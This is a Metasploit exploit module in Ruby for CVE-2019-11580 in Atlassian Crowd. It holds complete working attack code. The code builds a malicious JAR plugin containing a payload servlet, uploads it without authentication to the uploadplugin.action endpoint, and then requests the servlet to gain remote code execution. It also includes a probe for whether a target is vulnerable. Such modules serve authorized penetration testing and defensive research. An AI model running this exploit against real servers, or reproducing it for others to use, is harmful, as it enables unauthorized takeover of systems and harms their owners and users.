Atlassian Crowd pdkinstall Remote Code Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Atlassian Crowd pdkinstall Unauthenticated Plugin Upload RCE',  
'Description' => %q{  
This module can be used to upload a plugin on Atlassian Cloud via  
the pdkinstall development plugin as an unauthenticated attacker.  
The payload is uploaded as a JAR archive containing a servlet using  
a POST request to /crowd/admin/uploadplugin.action. The check command will  
check that the /crowd/admin/uploadplugin.action page exists and that it  
responds appropriately to determine if the target is vulnerable or not.  
},  
'Author' => [  
'Paul', # Vulnerability discovery  
'Corben Leo', # PoC and Vulnerability Writeup. @hacker_ on Twitter.  
'Grant Willcox' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2019-11580'],  
['URL', 'https://jira.atlassian.com/browse/CWD-5388'],  
['URL', 'https://confluence.atlassian.com/crowd/crowd-security-advisory-2019-05-22-970260700.html'],  
['URL', 'https://www.corben.io/atlassian-crowd-rce/']  
],  
'Platform' => %w[java],  
'Arch' => ARCH_JAVA,  
'DefaultOptions' => {  
'HttpClientTimeout' => 25 # Allow a bit more time for the file upload to complete, just in case things are delayed, before timing out.  
},  
'Notes' =>  
{  
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],  
'Reliability' => [ REPEATABLE_SESSION ],  
'Stability' => [ CRASH_SAFE ]  
},  
'Targets' =>  
[  
[  
'Java Universal',  
{  
'Arch' => ARCH_JAVA,  
'Platform' => 'java'  
}  
]  
],  
'DisclosureDate' => '2019-05-22'  
)  
)  
  
register_options(  
[  
Opt::RPORT(8095),  
OptString.new('TARGETURI', [true, 'The base URI to Atlassian Crowd', '/crowd/']),  
  
]  
)  
end  
  
def upload_plugin(content)  
data = Rex::MIME::Message.new  
data.add_part(content, nil, 'binary', "form-data; name=\"file_#{Rex::Text.rand_text_alpha(8..12)}\"; filename=\"#{Rex::Text.rand_text_alpha(8..12)}.jar\"")  
send_request_cgi({  
'uri' => normalize_uri(target_uri.path, '/admin/uploadplugin.action'),  
'method' => 'POST',  
'data' => data.to_s,  
'ctype' => "multipart/mixed; boundary=#{data.bound}"  
}, datastore['HttpClientTimeout'])  
end  
  
def generate_plugin_jar  
name = Rex::Text.rand_text_alpha(8..12)  
servlet_name = Rex::Text.rand_text_alpha(8..12)  
atlassian_plugin_xml = %(  
<atlassian-plugin key="metasploit.PayloadServlet" name="#{name}" plugins-version="2" class="metasploit.PayloadServlet">  
<plugin-info>  
<param name="atlassian-data-center-compatible">true</param>  
<description></description>  
<version>1.0.0</version>  
</plugin-info>  
  
<servlet name="#{servlet_name}" key="#{servlet_name}" class="metasploit.PayloadServlet">  
<url-pattern>/#{name}</url-pattern>  
<description>#{Faker::App.name}</description>  
</servlet>  
</atlassian-plugin>  
)  
  
# Generates .jar file for upload  
zip = payload.encoded_jar  
zip.add_file('atlassian-plugin.xml', atlassian_plugin_xml)  
  
servlet = MetasploitPayloads.read('java', 'metasploit', 'PayloadServlet.class')  
zip.add_file('/metasploit/PayloadServlet.class', servlet)  
  
contents = zip.pack  
[contents, name]  
end  
  
def check  
print_status('Sending a test request to try installing an invalid plugin to see if the server is vulnerable...')  
res = upload_plugin(Rex::Text.rand_text_alpha(45..120))  
if res.nil?  
CheckCode::Unknown('Was not able to connect to the target!')  
elsif (res.body =~ /Unable to install plugin/) && (res.code == 400)  
CheckCode::Vulnerable("Target responded that it couldn't install an invalid plugin, indicating it's vulnerable!")  
else  
CheckCode::Safe("Target didn't respond that it couldn't install an invalid plugin, so it's not vulnerable!")  
end  
end  
  
def exploit  
print_status('Generating a malicious JAR plugin...')  
content, plugin_name = generate_plugin_jar  
print_status('Uploading the malicious JAR plugin...')  
upload_plugin(content)  
send_request_cgi({  
'uri' => normalize_uri(target_uri.path, "/plugins/servlet/#{plugin_name}"),  
'method' => 'GET'  
}, datastore['HttpClientTimeout'])  
end  
end  
`